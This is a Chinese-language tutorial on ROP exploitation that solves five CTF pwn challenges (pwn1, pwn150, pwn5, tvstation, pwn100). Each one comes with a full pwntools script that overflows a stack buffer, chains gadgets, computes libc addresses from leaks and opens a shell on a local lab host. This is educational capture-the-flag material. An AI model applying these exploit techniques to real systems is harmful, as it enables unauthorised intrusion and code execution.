rop技术

1、RedHat 2017 pwn1

程序功能是scanf一个字符串再打印出来

checksec pwn1,发现程序开了nx保护,于是采用rop

IDA ctrl+s找到.got.plt表,表格中有的system和scanf可以利用

.got.plt表

另外还得找一段可读可写的地址空间写入”/bin/sh”,CTRL+s查看


最终在0x0804A030找到一块0x10字节的空间可以用来存放’/bin/sh’,下面开始pwn这个程序

首先利用scanf函数的栈溢出劫持eip让其在ret时再执行一次scanf函数,并指定第二个scanf函数的两个参数

第一次scanf后的栈

根据上面的栈的分布,即可得到第一段shellcode包含的内容,最后一个scanf函数的地址则是上面找到的0x0804a030,于是第一段exp如下:

io=remote('172.17.0.2',10001)
print io.read()
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)      # %s
binsh_addr = p32(0x0804a030)    # '/bin/sh'保存的地址
main_addr=p32(0x08048531)       #scanf结束后还跳转到main 
shellcode1 = 'A'*0x34           #注:此处不是0x2c,而是0x34        
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s 
shellcode1 += binsh_addr
io.sendline(shellcode1)

第一次scanf时,输入以上代码,程序会再执行一次scanf,此时输入’/bin/sh’

io.sendline('/bin/sh')

如此,数据区多了’/bin/sh’,并且程序会跳到main继续执行,当执行到scanf的时候,我们需要把程序劫持到system函数处,并让’/bin/sh’做system的参数

shellcode2 = 'A'*0x2c           #此处还是0x2c        
shellcode2 += p32(elf.symbols['system'])
shellcode2 += main_addr
shellcode2 += binsh_addr
io.sendline(shellcode2)
io.interactive()

注:两端shellcode中用于填充多余空间的’A’的字符个数不一样,因为程序中有一行and esp, 0FFFFFFF0h,在执行第一次执行main函数时,该行指令总会让esp和ebp之间增加0x8字节,第二次执行main函数时没有增加。

2、 bugs bunny ctf 2017-pwn150

pwn150程序的功能是读取用户输入并追加到txt文件,程序开启了NX保护,考虑采用rop。该程序在today函数中已经调用了system,所以可以把rip劫持到该system函数的位置。system函数的参数”sh”可以从程序中搜索,通过alt+B搜索”73 68″即可,注意”sh”后面是0x00(或者其他字符串结束的标志)。

“sh”的位置
call system的位置

32位程序直接把函数参数按照从左向右顺序压栈,该程序是64位程序,函数参数从左向右依次放在 rdi, rsi, rdx, rcx, r8, r9,所以要设法把”sh”存到rdi。解决方案是先通过劫持rip去执行pop rdi;ret(pop以后”sh”正好在栈顶),然后再跳转去执行system函数。pop rdi;ret可以用ROPgadget搜索。

ROPgadget --binary pwn150 | grep 'pop rdi'
from pwn import *
io = remote('172.17.0.2', 10001)
pay='a'*88
pop_rdi=0x400883
sh=0x4003ef
call_sys=0x40075f
pay+=p64(pop_rdi)
pay+=p64(sh)
pay+=p64(call_sys)
io.sendline(pay)
io.recv()
io.interactive()

3、 Tamu CTF 2018-pwn5

pwn5的程序主体位于print_beginning,在这个程序中可以输入姓名和专业,输入完毕后有一个选择,输入y会进入first_day_corps函数,输入n会进入first_day_normal函数。这两个函数最后都会进入一个有1234选项的状态,输入2就可以修改之前输入的major,而change_major函数用gets获取输入,大概率这个 gets就是溢出点。(一开始直接alt+T直接搜gets也行)。

change_major

该程序中不含system函数,可以尝试搜索int 0x80,通过sys_execve获取shell

ROPgadget --binary pwn5 | grep "int 0x80"

int 0x80的参数eax=0xb,ebx=”/bin/sh”,ecx=edx=edi=0。用ROPgadget来搜索是否有pop eax; pop ebx;pop edx; pop ecx; pop edi存在。其中ebx可以指向全局变量的地址(前面的输入的姓名)。下图是ROPgadget搜索结果,

ROPgadget --binary pwn5 | grep "pop eax ; pop ebx ;"

注意选择第一条0x08095ff4,因为第二条0x080a150a中的0xa代表回车
ROPgadget --binary pwn5 | grep "pop edx ; pop ecx ;"
from pwn import *
io = remote('172.17.0.2', 10001)
io.sendline('/bin/sh')  #first name
io.sendline('a')        #last name
io.sendline('a')        #major
io.sendline('y')
io.sendline('2')
first_name_addr=0x080f1a20
int_addr=0x08071005     #int 0x80 addr
payload='A'*32
payload+=p32(0x080733b0)        #pop edx ; pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0x08095ff4)        #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret
payload+=p32(0xb)
payload+=p32(first_name_addr)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(int_addr)
io.sendline(payload)
io.interactive()

4、Security Fest CTF 2016-tvstation

在运行tvstation程序时输入4会打印出system函数在内存真正的地址,因此可以劫持rip去执行system函数。tvstation提供了pop rid;ret这一rop链(可以通过ROPgadget搜到)但没有提供/bin/sh字符串。由于程序提供了libc.so,可以考虑在该动态库中搜索/bin/sh。先查看一些libc.so文件。

readelf -a libc.so.6_x64

在symbol table中可以找到system函数的相对地址

system在symbol table中的位置

由程序打印出的system函数的虚拟地址以及system的相对地址可以计算出libc.so在内存的起始地址,通过IDA可以搜索到/bin/sh在libc.so中的地址,这个地址加上libc.so的起始地址就是/bin/sh在内存的虚拟地址。

from pwn import *
io = remote('172.17.0.2', 10001)
io.recv()
io.sendline('4')
io.recvuntil('@0x')
sys_addr=int(io.recv(12),16)
offset_addr=0x00000000000456a0	#system offset
bin_sh=0x000000000018AC40	#/bin/sh
pop_rdi=0x0000000000400c13	#pop rdi;ret
head_addr=sys_addr-offset_addr
payload='a'*0x28
payload+=p64(pop_rdi)
payload+=p64(head_addr+bin_sh)
payload+=p64(sys_addr)
io.send(payload)
io.interactive()

5、LCTF 2016-pwn100

如果动态库中不包含/bin/sh字符串怎么办?假设该题提供的libc.so文件不包含/bin/sh,因为程序中提供了read函数,考虑用read来读取/bin/sh。该题利用了了一种通用gadget,位于init(或者叫__libc_csu_init )

r12用来保存任意函数地址,rbx=0,rbp=1,r15、r14、r13用来保存函数的参数
  • 调用puts函数打印read函数的虚拟地址
  • 根据read的地址计算system的虚拟地址
  • 执行read,采用通用gadget保存read函数的参数,将/bin/sh字符串保存在某个位置
  • 劫持rip执行system函数
io = remote('172.17.0.2', 10001)
elf=ELF('./pwn100')
read_got=elf.got['read']
puts_addr=elf.plt['puts']
sys_in_lib=0x456a0
read_in_lib=0xf8880
start_ad=0x400550
pop_rdi=0x400763
payload='a'*72
gadget1=0x40075a
gadget2=0x400740
binsh_ad=0x601068		#any addr in extern section is ok
payload+=p64(pop_rdi)
payload+=p64(read_got)
payload+=p64(puts_addr)
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recvuntil('bye~\n')
read_va=u64(io.recv()[:-1].ljust(8,'\x00'))
lib_load_ad=read_va-read_in_lib
sys_va=lib_load_ad+sys_in_lib

payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)	#rbx
payload+=p64(1)	#rbp
payload+=p64(read_got)	#r12, here is read_got not read_va!
payload+=p64(8)	#r13
payload+=p64(binsh_ad)	#r14
payload+=p64(0)	#r15	stdin
payload+=p64(gadget2)
payload+='\x00'*56
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recv()
io.send('/bin/sh\x00')

payload='a'*72
payload+=p64(pop_rdi)
payload+=p64(binsh_ad)
payload+=p64(sys_va)
payload=payload.ljust(200,'a')
io.send(payload)
io.interactive()
这题几个坑注意一下

1、在gadget2后面不能直接跟ret的地址,因为gadget2执行完以后还要向后执行直到init函数结束(看汇编程序结构就能理解),所以需要在后面补上56个0x00;

2、gadget2中的call指令是call qword ptr [r12+rbx*8],用的是直接寻址不是立即寻址,所以r12保存的是read在got表中的地址;

3、/bin/sh保存的位置是extern节,这个extern节是什么?Stack Overflow上有人解释这是一个pseudo segment(伪段),用来声明一些从外部库引入的API。实际调试过程中发现这个位置的数据都是0,因此把数据保存在这里不影响程序的运行。